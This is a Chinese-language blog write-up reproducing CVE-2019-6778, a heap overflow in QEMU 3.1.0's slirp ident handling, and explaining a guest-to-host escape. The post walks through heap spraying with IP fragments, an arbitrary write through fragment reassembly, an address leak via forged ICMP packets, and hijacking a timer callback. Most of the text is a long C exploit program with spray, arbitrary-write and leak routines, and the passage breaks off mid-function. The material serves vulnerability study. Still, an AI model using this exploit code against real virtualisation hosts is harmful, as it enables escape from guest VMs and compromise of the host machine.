CVE-2019-6778

最近不知道为什么又重新开始对qemu的漏洞产生了兴趣,可能是V8实在学不明白(感觉太玄学了,😵‍💫)

真正复现建议直接看大佬的文章:https://www.anquanke.com/post/id/197639https://github.com/0xKira/qemu-vm-escape/blob/master/writeup_zh.md

该漏洞存在于qemu3.1.0中,内核与文件系统的环境直接拿V1NKe师傅出的题目即可:https://github.com/V1NKe/learning-qemu/tree/master/ctf/original/2020-geekpwn-V1NKe'sQEMU-final

构建镜像时,由于Debian的stretch这个版本已经不能在debootstrap中继续使用了,改用为buster即可。

漏洞分析

具体漏洞存在于slirp/tcp_subr.c中的tcp_emu,在使用113端口(Identification protocol)时进入该函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
case EMU_IDENT:
/*
* Identification protocol as per rfc-1413
*/

{
struct socket *tmpso;
struct sockaddr_in addr;
socklen_t addrlen = sizeof(struct sockaddr_in);
struct sbuf *so_rcv = &so->so_rcv;

memcpy(so_rcv->sb_wptr, m->m_data, m->m_len);
so_rcv->sb_wptr += m->m_len;
so_rcv->sb_rptr += m->m_len;
m->m_data[m->m_len] = 0; /* NULL terminate */
if (strchr(m->m_data, '\r') || strchr(m->m_data, '\n')) {
...
}
m_free(m);
return 0;
}

而该函数中的memcpy(so_rcv->sb_wptr, m->m_data, m->m_len)语句没有对缓冲区大小进行任何检查,多次调用可以无限拷贝数据造成堆溢出。

关于溢出的位置,这里不太能理解ama2in9师傅的这个追加拷贝

查看上层的tcp_input函数,在tcp_emu函数中的返回值是0,就不会进入sbappend函数,溢出的位置就是tcp_emu函数中的memcpy导致的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
else if (ti->ti_ack == tp->snd_una &&
tcpfrag_list_empty(tp) &&
ti->ti_len <= sbspace(&so->so_rcv)) {
/*
* this is a pure, in-sequence data packet
* with nothing on the reassembly queue and
* we have enough buffer space to take it.
*/
tp->rcv_nxt += ti->ti_len;
/*
* Add data to socket buffer.
*/
if (so->so_emu) {
if (tcp_emu(so,m)) sbappend(so, m);
} else
sbappend(so, m);

自己也测试了一下数据中存在\r\n的这种情况

在tcp_emu函数结束时的参数如下:

并且监听的端口也会出现相应的值:

下次再进入tcp_input中的判断时:

漏洞利用

接下来操作都主要与IP数据报文的这些字段有关:

  • Identification :对应C语言ip结构体的ip_id。当一个IP数据包传输过程中经过一个具有较小最大传输单元(MTU)的网络链路时,该数据包可能会被分割成多个片段,以适应较小的网络链路。该标志在这种情况下用于标识原始数据包的各个片段。每个片段将具有相同的值,以便接收端知道它们属于同一个数据包。
  • DF : 如果DF标志被设置为1,表示数据包禁止分片。如果数据包太大无法在网络中传输,它将被丢弃。
  • MF : 如果MF标志被设置为1,表示这个数据包是分片的一部分,还有更多的片段。如果MF标志为0,表示这是最后一个片段。
  • Fragmentation offset (13 bits):表示此包数据在重组时的偏移,和DF、MF都在C语言ip结构体的ip_off中。

malloc原语

由于是堆溢出漏洞,也就需要知道so_rcv->sb_wptr堆块后面的数据是属于哪里的,这样溢出后覆盖的值才能进行有效攻击。但是每次启动虚拟机so_rcv->sb_wptr这个堆块都是随机分配的,这里需要使用malloc原语去实现堆喷,让so_rcv->sb_wptr使用top chunk(超级大的largebin也行)去分配,让so_rcv->sb_wptr后堆块排布完全可以操纵。

ip_input函数中,设置一个IP包DF=0 MF=1,表示其可以分片并且属于数据包的一部分,发送后进入ip_input函数,可以通过ip->ip_off &~ IP_DF判断,接下来会在链表中获取其它IP包,判断ip_id、ip_src.s_addr 、ip->ip_dst.s_addr和ip_p寻找相同的IP分段包,没有找到fp = NULL,进入ip_reass函数后可以满足fp == NULL,继续进入m_get函数就可以分配一个0x670大小的堆块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
void
ip_input(struct mbuf *m)
{
…………
…………
if (ip->ip_off &~ IP_DF) {
register struct ipq *fp;
struct qlink *l;
/*
* Look for queue of fragments
* of this datagram.
*/
for (l = slirp->ipq.ip_link.next; l != &slirp->ipq.ip_link;
l = l->next) {
fp = container_of(l, struct ipq, ip_link);
if (ip->ip_id == fp->ipq_id &&
ip->ip_src.s_addr == fp->ipq_src.s_addr &&
ip->ip_dst.s_addr == fp->ipq_dst.s_addr &&
ip->ip_p == fp->ipq_p)
goto found;
}
fp = NULL;
found:

/*
* Adjust ip_len to not reflect header,
* set ip_mff if more fragments are expected,
* convert offset of this to bytes.
*/
ip->ip_len -= hlen;
if (ip->ip_off & IP_MF)
ip->ip_tos |= 1;
else
ip->ip_tos &= ~1;

ip->ip_off <<= 3;

/*
* If datagram marked as having more fragments
* or if this is not the first fragment,
* attempt reassembly; if it succeeds, proceed.
*/
if (ip->ip_tos & 1 || ip->ip_off) {
ip = ip_reass(slirp, ip, fp);
if (ip == NULL)
return;
m = dtom(slirp, ip);
} else
…………
…………
}

static struct ip *
ip_reass(Slirp *slirp, struct ip *ip, struct ipq *fp)
{
…………
…………
/*
* If first fragment to arrive, create a reassembly queue.
*/
if (fp == NULL) {
struct mbuf *t = m_get(slirp)
}
…………
…………
}


struct mbuf *
m_get(Slirp *slirp)
{
register struct mbuf *m;
int flags = 0;

DEBUG_CALL("m_get");

if (slirp->m_freelist.qh_link == &slirp->m_freelist) {
m = g_malloc(SLIRP_MSIZE);
…………
…………
}

对于malloc原语最浅显的理解就是发送不同的(ip_id、ip_src.s_addr 、ip->ip_dst.s_addr这些值不完全相同即可)数据包,并且分片为多个IP包,但是每种数据包分片的IP包并不一次性发送完,让其一直等待最后一个IP包,这样每次发送这种IP包分配内存后就会一直占用内存,并不会对其释放。

任意写

同样也是在ip_input函数中,先使用malloc原语发送一个IP包,然后设置一个与发送过的IP包的ip_id、ip_src.s_addr和ip->ip_dst.s_addr相同的IP包,并且这个IP包DF=0 MF=0 Fragmentation offset存在值,表示其可以分片并且属于数据包的最后一个;进入ip_input函数后可以通过ip->ip_off &~ IP_DF判断,接下来会在链表中获取其它IP包,判断ip_id、ip_src.s_addr 、ip->ip_dst.s_addr和ip_p这些值,得到先前发送过的IP包,进入ip_reass函数后调用m_cat函数,来实现对IP包数据的合并

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
void
ip_input(struct mbuf *m)
{
…………
…………
if (ip->ip_off &~ IP_DF) {
register struct ipq *fp;
struct qlink *l;
/*
* Look for queue of fragments
* of this datagram.
*/
for (l = slirp->ipq.ip_link.next; l != &slirp->ipq.ip_link;
l = l->next) {
fp = container_of(l, struct ipq, ip_link);
if (ip->ip_id == fp->ipq_id &&
ip->ip_src.s_addr == fp->ipq_src.s_addr &&
ip->ip_dst.s_addr == fp->ipq_dst.s_addr &&
ip->ip_p == fp->ipq_p)
goto found;
}
fp = NULL;
found:

/*
* Adjust ip_len to not reflect header,
* set ip_mff if more fragments are expected,
* convert offset of this to bytes.
*/
ip->ip_len -= hlen;
if (ip->ip_off & IP_MF)
ip->ip_tos |= 1;
else
ip->ip_tos &= ~1;

ip->ip_off <<= 3;

/*
* If datagram marked as having more fragments
* or if this is not the first fragment,
* attempt reassembly; if it succeeds, proceed.
*/
if (ip->ip_tos & 1 || ip->ip_off) {
ip = ip_reass(slirp, ip, fp);
if (ip == NULL)
return;
m = dtom(slirp, ip);
} else
…………
…………
}

static struct ip *
ip_reass(Slirp *slirp, struct ip *ip, struct ipq *fp)
{
register struct mbuf *m = dtom(slirp, ip);
register struct ipasfrag *q;
int hlen = ip->ip_hl << 2;
int i, next;
…………
…………

q = fp->frag_link.next;
m = dtom(slirp, q);

q = (struct ipasfrag *) q->ipf_next;
while (q != (struct ipasfrag*)&fp->frag_link) {
struct mbuf *t = dtom(slirp, q);
q = (struct ipasfrag *) q->ipf_next;
m_cat(m, t);
}
}

void
m_cat(struct mbuf *m, struct mbuf *n)
{
/*
* If there's no room, realloc
*/
if (M_FREEROOM(m) < n->m_len)
m_inc(m, m->m_len + n->m_len);

memcpy(m->m_data+m->m_len, n->m_data, n->m_len);
m->m_len += n->m_len;

m_free(n);
}

对于上述过程最浅显的理解就是一个数据包分片发送后,当最后一个IP包也发送完成后,就会将这些IP包重新组合起来。

堆溢出覆盖第一个IP包的m_data,再发送最后一个IP包,进入m_cat函数后调用memcpy(m->m_data+m->m_len, n->m_data, n->m_len)来实现对m_data + m_len这个地址的任意写。

信息泄漏

个人感觉这一步是最为巧妙的地方,利用伪造ICMP响应请求包,从响应应答包中泄漏信息。

具体过程如下:

  1. 发送MF标志设置为1的IP包,利用堆溢出将此IP包的m_data的低位3位覆盖,覆盖的值具体跟本地堆环境中存在的qemu的地址信息有关,这个值设置到具有qemu地址信息的低地址处;
  2. 然后利用任意地址写将伪造的ICMP包头写入到该地址处;
  3. 接着是继续发送一个IP包,不过这个IP包具体为ICMP协议的请求包,并将其MF标志设置为1,也是利用堆溢出将此IP包的m_data的低位覆盖成伪造的ICMP请求包的位置;
  4. 最后再发送一个MF为0的ICMP协议的IP包,ICMP协议的IP包重组后,响应请求ICMP包的数据就变成了伪造的ICMP请求包,然后等待ICMP应答包,在应答包中可以得到程序地址以及堆地址,实现信息泄露。

自己本地堆环境中存在qemu的地址信息内存块如下,就在tcache结构体头的后面:

第一次修改的低3位值为0x6e0,进行任意写时就是对0x7f375c000ae0地址处写入伪造的ICMP包头

第二次修改的低3位值为0xb02,ICMP的应答包就会将m_data 后面信息泄漏出去

程序执行流控制

在堆中伪造一个QEMUTimerList结构体和QEMUTimer结构体,通过任意写将伪造的QEMUTimerList地址覆盖到qemu的全局变量main_loop_tlg,等expire_time时间到,将会执行QEMUTimer结构体中的cb(opaque)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
bool qemu_clock_run_timers(QEMUClockType type)
{
return timerlist_run_timers(main_loop_tlg.tl[type]);
}

bool timerlist_run_timers(QEMUTimerList *timer_list)
{
QEMUTimer *ts;
int64_t current_time;
bool progress = false;
QEMUTimerCB *cb;
void *opaque;
…………
…………
current_time = qemu_clock_get_ns(timer_list->clock->type);
qemu_mutex_lock(&timer_list->active_timers_lock);
while ((ts = timer_list->active_timers)) {
if (!timer_expired_ns(ts, current_time)) {
/* No expired timers left. The checkpoint can be skipped
* if no timers fired or they were all external.
*/
break;
}
if (need_replay_checkpoint
&& !(ts->attributes & QEMU_TIMER_ATTR_EXTERNAL)) {
/* once we got here, checkpoint clock only once */
need_replay_checkpoint = false;
qemu_mutex_unlock(&timer_list->active_timers_lock);
if (!replay_checkpoint(CHECKPOINT_CLOCK_VIRTUAL)) {
goto out;
}
qemu_mutex_lock(&timer_list->active_timers_lock);
/* The lock was released; start over again in case the list was
* modified.
*/
continue;
}

/* remove timer from the list before calling the callback */
timer_list->active_timers = ts->next;
ts->next = NULL;
ts->expire_time = -1;
cb = ts->cb;
opaque = ts->opaque;

/* run the callback (the timer list can be modified) */
qemu_mutex_unlock(&timer_list->active_timers_lock);
cb(opaque); //<------运行至此
qemu_mutex_lock(&timer_list->active_timers_lock);

progress = true;
}
…………
…………
}

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <unistd.h>
#include <assert.h>
#include <string.h>
#include <netdb.h> // struct addrinfo
#include <sys/types.h> // needed for socket(), uint8_t, uint16_t, uint32_t
#include <sys/socket.h> // needed for socket()
#include <netinet/in.h> // IPPROTO_RAW, IPPROTO_IP, IPPROTO_TCP, INET_ADDRSTRLEN
#include <netinet/ip.h> // struct ip and IP_MAXPACKET (which is 65535)
#include <netinet/ip_icmp.h> // struct icmp, ICMP_ECHO
#define __FAVOR_BSD // Use BSD format of tcp header
#include <netinet/tcp.h> // struct tcphdr
#include <arpa/inet.h> // inet_pton() and inet_ntop()
#include <sys/ioctl.h> // macro ioctl is defined
#include <bits/ioctls.h> // defines values for argument "request" of ioctl.
#include <net/if.h> // struct ifreq
#include <linux/if_ether.h> // ETH_P_IP = 0x0800, ETH_P_IPV6 = 0x86DD
#include <linux/if_packet.h> // struct sockaddr_ll (see man 7 packet)
#include <net/ethernet.h>
#include <sys/time.h> // gettimeofday()
#include <errno.h> // errno, perror()

// Define some constants.
#define ETH_HDRLEN 14 // Ethernet header length
#define IP4_HDRLEN 20 // IPv4 header length
#define TCP_HDRLEN 20 // TCP header length, excludes options data
#define ICMP_HDRLEN 8 // ICMP header length for echo request, excludes data

uint64_t elf_base, heap_base, main_thread_heap_base;
int stop_flag;
char g_interface[] = "enp0s3";

struct ip_pkt_info {
uint16_t ip_id;
uint16_t ip_off;
bool MF;
uint8_t ip_p;
};

uint16_t checksum(uint16_t *addr, int len) {
int count = len;
register uint32_t sum = 0;
uint16_t answer = 0;

// Sum up 2-byte values until none or only one byte left.
while (count > 1) {
sum += *(addr++);
count -= 2;
}

// Add left-over byte, if any.
if (count > 0) {
sum += *(uint8_t *)addr;
}

// Fold 32-bit sum into 16 bits; we lose information by doing this,
// increasing the chances of a collision.
// sum = (lower 16 bits) + (upper 16 bits shifted right 16 bits)
while (sum >> 16) {
sum = (sum & 0xffff) + (sum >> 16);
}

// Checksum is one's compliment of sum.
answer = ~sum;

return (answer);
}

uint16_t icmp4_checksum(struct icmp icmphdr, uint8_t *payload, int payloadlen) {
char buf[IP_MAXPACKET];
char *ptr;
int chksumlen = 0;
int i;

ptr = &buf[0]; // ptr points to beginning of buffer buf

memcpy(ptr, &icmphdr.icmp_type, sizeof(icmphdr.icmp_type));
ptr += sizeof(icmphdr.icmp_type);
chksumlen += sizeof(icmphdr.icmp_type);

// Copy Message Code to buf (8 bits)
memcpy(ptr, &icmphdr.icmp_code, sizeof(icmphdr.icmp_code));
ptr += sizeof(icmphdr.icmp_code);
chksumlen += sizeof(icmphdr.icmp_code);

// Copy ICMP checksum to buf (16 bits)
// Zero, since we don't know it yet
*ptr = 0;
ptr++;
*ptr = 0;
ptr++;
chksumlen += 2;

// Copy Identifier to buf (16 bits)
memcpy(ptr, &icmphdr.icmp_id, sizeof(icmphdr.icmp_id));
ptr += sizeof(icmphdr.icmp_id);
chksumlen += sizeof(icmphdr.icmp_id);

// Copy Sequence Number to buf (16 bits)
memcpy(ptr, &icmphdr.icmp_seq, sizeof(icmphdr.icmp_seq));
ptr += sizeof(icmphdr.icmp_seq);
chksumlen += sizeof(icmphdr.icmp_seq);

// Copy payload to buf
memcpy(ptr, payload, payloadlen);
ptr += payloadlen;
chksumlen += payloadlen;

// Pad to the next 16-bit boundary
for (i = 0; i < payloadlen % 2; i++, ptr++) {
*ptr = 0;
ptr++;
chksumlen++;
}

return checksum((uint16_t *)buf, chksumlen);
}

uint8_t *malloc_8(int size){
if(size < 0){
perror("[*] malloc 8 failed,size < 0.");
exit(EXIT_FAILURE);
}
uint8_t *tmp;
tmp = (uint8_t *)malloc(size);
if(tmp == NULL){
perror("[*] malloc 8 error.");
exit(EXIT_FAILURE);
}else{
memset(tmp,0,size);
return tmp;
}
}

uint16_t *malloc_16(int size){
if(size < 0){
perror("[*] malloc 16 failed,size < 0.");
exit(EXIT_FAILURE);
}
uint16_t *tmp;
tmp = (uint16_t *)malloc(size*sizeof(uint16_t));
if(tmp == NULL){
perror("[*] malloc 16 error.");
exit(EXIT_FAILURE);
}else{
memset(tmp,0,size*sizeof(uint16_t));
return tmp;
}
}

uint32_t *malloc_32(int size){
if(size < 0){
perror("[*] malloc 32 failed,size < 0.");
exit(EXIT_FAILURE);
}
uint32_t *tmp;
tmp = (uint32_t *)malloc(size*sizeof(uint32_t));
if(tmp == NULL){
perror("[*] malloc 32 error.");
exit(EXIT_FAILURE);
}else{
memset(tmp,0,size*sizeof(uint32_t));
return tmp;
}
}

char *malloc_char(int size){
if(size < 0){
perror("[*] malloc char failed,size < 0.");
exit(EXIT_FAILURE);
}
char *tmp;
tmp = (char *)malloc(size*sizeof(char));
if(tmp == NULL){
perror("[*] malloc char error.");
exit(EXIT_FAILURE);
}else{
memset(tmp,0,size*sizeof(char));
return tmp;
}
}


void spray(uint16_t spray_id, int spray_size){
struct ip iphdr;
struct tcphdr tcphdr;
char *source_ip;
char *destion_ip;
char *interface;
uint8_t *packet;
uint32_t *ip_flags;
uint32_t *tcp_flags;
struct sockaddr_in sin;
struct ifreq ifr;

packet = malloc_8(IP_MAXPACKET);
source_ip = malloc_char(INET_ADDRSTRLEN);
destion_ip = malloc_char(INET_ADDRSTRLEN);
interface = malloc_char(30);
ip_flags = malloc_32(4);
tcp_flags = malloc_32(8);

strcpy(interface, g_interface);

memset(&ifr, 0, sizeof(ifr));
memcpy(ifr.ifr_name, interface, sizeof(ifr.ifr_name));

int if_sd = socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
if(if_sd < 0){
perror("[*] socket interface failed. ---spray");
exit(EXIT_FAILURE);
}
if(ioctl(if_sd, SIOCGIFINDEX, &(ifr)) < 0){
perror("[*] ioctl find index error. ---spray");
exit(EXIT_FAILURE);
}

close(if_sd);

strcpy(source_ip,"127.0.0.1");
strcpy(destion_ip,"127.0.0.1");

iphdr.ip_v = 4;
iphdr.ip_hl = IP4_HDRLEN/4;
iphdr.ip_tos = 0;
iphdr.ip_len = htons(spray_size);
iphdr.ip_id = htons(spray_id);
iphdr.ip_ttl = 0xFF;
iphdr.ip_p = 0xFF;

ip_flags[0] = 0;
ip_flags[1] = 0;
ip_flags[2] = 1;
ip_flags[3] = 0;
iphdr.ip_off = htons((ip_flags[0] << 15) + (ip_flags[1] << 14) + (ip_flags[2] << 13) + (ip_flags[3] << 12) + 0);

inet_pton(AF_INET, source_ip, &(iphdr.ip_src));
inet_pton(AF_INET, destion_ip, &(iphdr.ip_dst));
iphdr.ip_sum = 0;
iphdr.ip_sum = checksum((uint16_t *)&iphdr, IP4_HDRLEN);

memcpy(packet, &iphdr, IP4_HDRLEN);

uint8_t payload[spray_size - IP4_HDRLEN];
memset(payload, 0, spray_size - IP4_HDRLEN);
memcpy(packet + IP4_HDRLEN, payload, spray_size - IP4_HDRLEN);

memset(&sin, 0, sizeof(struct sockaddr_in));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = iphdr.ip_dst.s_addr;

int sd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if(sd < 0){
perror("[*] socket failed. ---spray");
exit(EXIT_FAILURE);
}

if(setsockopt(sd, SOL_SOCKET, SO_BINDTODEVICE, &ifr,sizeof(ifr)) < 0){
perror("[*] setsockopt failed. ---spray");
exit(EXIT_FAILURE);
}

if(sendto(sd, packet, spray_size, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)) < 0){
perror("[*] sendto failed. ---spray");
exit(EXIT_FAILURE);
}

close(sd);

free(packet);
free(source_ip);
free(destion_ip);
free(interface);
free(ip_flags);
free(tcp_flags);
}

void send_ip_pkt(struct ip_pkt_info *pkt_info, uint8_t *payload, int payload_len){
struct ip iphdr;
struct tcphdr tcphdr;
char *source_ip;
char *destion_ip;
char *interface;
uint8_t *packet;
uint32_t *ip_flags;
uint32_t *tcp_flags;
struct sockaddr_in sin;
struct ifreq ifr;

packet = malloc_8(IP_MAXPACKET);
source_ip = malloc_char(INET_ADDRSTRLEN);
destion_ip = malloc_char(INET_ADDRSTRLEN);
interface = malloc_char(30);
ip_flags = malloc_32(4);
tcp_flags = malloc_32(8);

strcpy(interface, g_interface);

memset(&ifr, 0, sizeof(ifr));
memcpy(ifr.ifr_name, interface, sizeof(ifr.ifr_name));

int if_sd = socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
if(if_sd < 0){
perror("[*] socket interface failed. ---send_ip_pkt");
exit(EXIT_FAILURE);
}
if(ioctl(if_sd, SIOCGIFINDEX, &(ifr)) < 0){
perror("[*] ioctl find index error. ---send_ip_pkt");
exit(EXIT_FAILURE);
}

close(if_sd);

strcpy(source_ip,"127.0.0.1");
strcpy(destion_ip,"127.0.0.1");

iphdr.ip_v = 4;
iphdr.ip_hl = IP4_HDRLEN/4;
iphdr.ip_tos = 0;
iphdr.ip_len = htons(IP4_HDRLEN + payload_len);
iphdr.ip_id = htons(pkt_info->ip_id);
iphdr.ip_ttl = 0xFF;
iphdr.ip_p = pkt_info->ip_p;

ip_flags[0] = 1;
ip_flags[1] = 0;
ip_flags[2] = pkt_info->MF;
ip_flags[3] = 0;
iphdr.ip_off = htons((ip_flags[0] << 15) + (ip_flags[1] << 14) + (ip_flags[2] << 13) + (pkt_info->ip_off >> 3) + 0);

inet_pton(AF_INET, source_ip, &(iphdr.ip_src));
inet_pton(AF_INET, destion_ip, &(iphdr.ip_dst));
iphdr.ip_sum = 0;
iphdr.ip_sum = checksum((uint16_t *)&iphdr, IP4_HDRLEN);

memcpy(packet, &iphdr, IP4_HDRLEN);
memcpy(packet + IP4_HDRLEN, payload, payload_len);

memset(&sin, 0, sizeof(struct sockaddr_in));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = iphdr.ip_dst.s_addr;

int sd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if(sd < 0){
perror("[*] socket failed. ---send_ip_pkt");
exit(EXIT_FAILURE);
}

if(setsockopt(sd, SOL_SOCKET, SO_BINDTODEVICE, &ifr,sizeof(ifr)) < 0){
perror("[*] setsockopt failed. ---send_ip_pkt");
exit(EXIT_FAILURE);
}

if(sendto(sd, packet, payload_len + IP4_HDRLEN, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)) < 0){
perror("[*] sendto failed. ---send_ip_pkt");
exit(EXIT_FAILURE);
}

close(sd);

free(packet);
free(source_ip);
free(destion_ip);
free(interface);
free(ip_flags);
free(tcp_flags);
}

void write_anywhere(uint64_t addr, int addr_len, uint8_t* write_any_data, int write_any_data_len){
struct sockaddr_in sin;
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr("10.0.2.2");
sin.sin_port = htons(113);

int sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd < 0){
perror("[*] socket create failed. ---write_anywhere");
exit(EXIT_FAILURE);
}

if(connect(sd, (struct sockaddr *)&sin, sizeof(struct sockaddr)) < 0){
perror("[*] connect failed. ---write_anywhere");
exit(EXIT_FAILURE);
}

struct ip_pkt_info pkt_info;
pkt_info.ip_id = 0xdead;
pkt_info.ip_off = 0;
pkt_info.ip_p = 0xFF;
pkt_info.MF = 1;
int payload_len = 0x400;
uint8_t *payload = malloc_8(payload_len);
memset(payload, 'a', payload_len);
send_ip_pkt(&pkt_info, payload, payload_len);

/* prapare write any data */
uint8_t *write_data = malloc_8(0x500);
uint8_t *write_data_8 = write_data;
uint8_t *write_data_start = write_data;
uint16_t *write_data_16 = (uint16_t *)write_data;
uint32_t *write_data_32 = (uint32_t *)write_data;
uint64_t *write_data_64 = (uint64_t *)write_data;
memset(write_data, 'b', 0x500);

for (int j = 0; j < 0x6; j++){
write(sd, write_data, 0x500);
//sleep(0.2);
//printf("write data, time %d\n",j+1);
}
write(sd, write_data, 0x430);


*write_data_64++ = 0;
*write_data_64++ = 0x675; // chunk header
*write_data_64++ = 0; // m_next
*write_data_64++ = 0; // m_prev
*write_data_64++ = 0; // m_nextpkt
*write_data_64++ = 0; // m_prevpkt
write_data_32 = (uint32_t *)write_data_64;
*write_data_32++ = 0; // m_flags
*write_data_32++ = 0x608; // m_size
write_data_64 = (uint64_t *)write_data_32;
*write_data_64++ = 0; // m_so
write_data_8 = (uint8_t *)write_data_64;
for (int k = 0; k < addr_len; k++){
*write_data_8++ = ((addr) >> (k*8)) & 0xFF; //m_data
}

write(sd, write_data_start, 0x40 + addr_len);

struct ip_pkt_info pkt_info_cat;
pkt_info_cat.ip_id = 0xdead;
pkt_info_cat.ip_off = 0x400;
pkt_info_cat.ip_p = 0xFF;
pkt_info_cat.MF = 0;

// if(stop_flag){
// getchar();
// }

send_ip_pkt(&pkt_info_cat, write_any_data, write_any_data_len);

free(payload);
free(write_data);
close(sd);
}

void leak(uint64_t addr, int addr_len){
struct sockaddr_in sin;
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr("10.0.2.2");
sin.sin_port = htons(113);

int sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd < 0){
perror("[*] socket create failed. ---leak");
exit(EXIT_FAILURE);
}

if(connect(sd, (struct sockaddr *)&sin, sizeof(struct sockaddr)) < 0){
perror("[*] connect failed. ---leak");
exit(EXIT_FAILURE);
}

struct ip_pkt_info pkt_info;
pkt_info.ip_id = 0xdead;
pkt_info.ip_off = 0x0;
pkt_info.ip_p = IPPROTO_ICMP;
pkt_info.MF = 1;
int payload_len = 0x400;
uint8_t *payload = malloc_8(payload_len);
memset(payload, 'A', payload_len);
printf("[*] send icmp 1 part.\n");
send_ip_pkt(&pkt_info, payload, payload_len);

/* prapare write any data */
uint8_t *write_data = malloc_8(0x500);
uint8_t *write_data_8 = write_data;
uint8_t *write_data_start = write_data;
uint16_t *write_data_16 = (uint16_t *)write_data;
uint32_t *write_data_32 = (uint32_t *)write_data;
uint64_t *write_data_64 = (uint64_t *)write_data;
memset(write_data, 'B', 0x500);

for (int j = 0; j < 0x6; j++){
write(sd, write_data, 0x500);
//sleep(0.2);
//printf("write data, time %d\n",j+1);
}
write(sd, write_data, 0x430);


*write_data_64++ = 0;
*write_data_64++ = 0x675; // chunk header
*write_data_64++ = 0; // m_next
*write_data_64++ = 0; // m_prev
*write_data_64++ = 0; // m_nextpkt
*write_data_64++ = 0; // m_prevpkt
write_data_32 = (uint32_t *)write_data_64;
*write_data_32++ = 0; // m_flags
*write_data_32++ = 0x608; // m_size
write_data_64 = (uint64_t *)write_data_32;
*write_data_64++ = 0; // m_so
write_data_8 = (uint8_t *)write_data_64;
for (int k = 0; k < addr_len; k++){
*write_data_8++ = ((addr) >> (k*8)) & 0xFF; //m_data
}

write(sd, write_data_start, 0x40 + addr_len);

struct ip_pkt_info pkt_info_2;
pkt_info_2.ip_id = 0xdead;
pkt_info_2.ip_off = 0x400;
pkt_info_2.ip_p = IPPROTO_ICMP;
pkt_info_2.MF = 0;
int payload_len_2 = 0;

int recv_sd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if(recv_sd < 0){
perror("socket recv failed. ---leak.");
exit(EXIT_FAILURE);
}

send_ip_pkt(&pkt_info_2, payload, payload_len_2);

// if(stop_flag){
// getchar();
// }

int recv_flag = 1;
int status;
int recv_size;
struct ip *recv_ip;
struct icmp *recv_icmp;
